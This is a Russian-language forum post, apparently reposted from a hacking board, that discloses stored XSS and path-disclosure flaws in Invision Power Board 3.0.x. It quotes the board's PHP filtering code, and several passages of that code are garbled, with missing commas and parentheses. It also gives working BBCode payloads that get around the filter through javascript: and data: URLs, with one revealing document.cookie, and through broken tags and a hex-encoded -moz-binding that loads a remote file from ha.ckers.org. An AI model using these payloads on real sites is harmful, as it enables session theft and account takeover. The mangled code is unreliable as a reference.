Уязвимости Invision Power Board

Hint: flag is not a frag: once you've got it, you can get one more...

Эти уязвимости были когда-то мною опубликованы на античате
Множественные уязвимости I.P.B.


Вообще, IPB кишит всяческими ошибками.
В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
XSS тоже можно накопать немало.
Уязвимость: активная XSS.
Требования: права админа =)
Описание:
http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools&section=qanda&do=new
Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda.php:
PHP код:
 /* Build DB Array */ 
        
$db_array = array(  
                            
'qa_question'    => $_POST['question'], 
                            
'qa_answers'    => $_POST['answers'], 
                        ); 

...
PHP код:
 $this->DB->insert'question_and_answer'$db_array ); 


Уязвимость: активная XSS
Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
Описание:
Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:
PHP код:
 public function checkXss$txt=''$fixScript=false 
    { 
        
//----------------------------------------- 
        // Opening script tags... 
        // Check for spaces and new lines... 
        //----------------------------------------- 
         
        
if ( $fixScript 
        { 
            
$txt preg_replace"#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#i  s"        "&lt;script" $txt ); 
            
$txt preg_replace"#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#i  s""&lt;/script"$txt ); 
        } 
         
        
//----------------------------------------- 
        // Here we can do some generic checking for XSS 
        // This should not be considered fool proof, though can provide 
        //    a centralized point for maintenance and checking 
        //----------------------------------------- 
         
        
$txt str_ireplace"(j)avascript" "\\1avascript"$txt ); 
        
$txt str_ireplace"alert"      "alert"          $txt ); 
        
$txt str_ireplace"behavior"   "behavior"          $txt ); 
        
$txt preg_replace"/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" "\\1xp​ression"     $txt ); 
        
$txt preg_replace"/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\  \\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*  )n/is"       "\\1xp​ression"           $txt ); 
        
$txt preg_replace"/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|  \)*)i((\\\|\)*)n((\\\|\)*)g/is"       "moz-​binding"           $txt ); 
        
$txt str_ireplace"about:"     "about:"         $txt ); 
        
$txt str_ireplace"<body"      "&lt;body"            $txt ); 
        
$txt str_ireplace"<html"      "&lt;html"            $txt ); 
        
$txt str_ireplace"document." "document."      $txt ); 
        
$txt str_ireplace"window."   "window."      $txt ); 
         
        
$event_handlers    = array( 'mouseover''mouseout''mouseup''mousemove''mousedown''mouseenter''mouseleave''mousewheel'
                                 
'contextmenu''click''dblclick''load''unload''submit''blur''focus''resize''scroll'
                                 
'change''reset''select''selectionchange''selectstart''start''stop''keydown''keyup'
                                 
'keypress''abort''error''dragdrop''move''moveend''movestart''activate''afterprint'
                                 
'afterupdate''beforeactivate''beforecopy''beforecut''beforedeactivate''beforeeditfocus'
                                 
'beforepaste''beforeprint''beforeunload''begin''bounce''cellchange''controlselect'
                                 
'copy''cut''paste''dataavailable''datasetchanged''datasetcomplete''deactivate''drag'
                                 
'dragend''dragleave''dragenter''dragover''drop''end''errorupdate''filterchange''finish'
                                 
'focusin''focusout''help''layoutcomplete''losecapture''mediacomplete''mediaerror''outofsync'
                                 
'pause''propertychange''progress''readystatechange''repeat''resizeend''resizestart''resume'
                                 
'reverse''rowsenter''rowexit''rowdelete''rowinserted''seek''syncrestored''timeerror'
                                 
'trackchange''urlflip'
                                ); 
         
        foreach( 
$event_handlers as $handler 
        { 
            
$txt str_ireplace'on' $handler'on' $handler$txt ); 
        } 

        return 
$txt
    } 


Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
Обратные кавычки (`backtips`) не фильтруются.
Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
Составляем запрос (для IE), внедряемся в параметр style тега span:
Код:
[color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/color]

Для FF:
Код:
[color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2 f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/color]


Уязвимость: активная XSS
Требования: -
Описание:
//В данном посте косяки, грядут переделки
В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
PHP код:
 $txt preg_replace"/(j)avascript/i" "\\1avascript"$txt ); 

Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
Но зато, к фильтру добавилось обрезание всего, что находится за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
Код:
[color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/code]


//Далее без претензии на уникальность, развиваю пост LeverOne'а
Теперь вспомним о xss с разрушением тегов.
В IPB фильтруются javascript и -moz-binding.
Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
Новый запрос для ie:
Код:
[acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym]

Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)
Код:
[acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]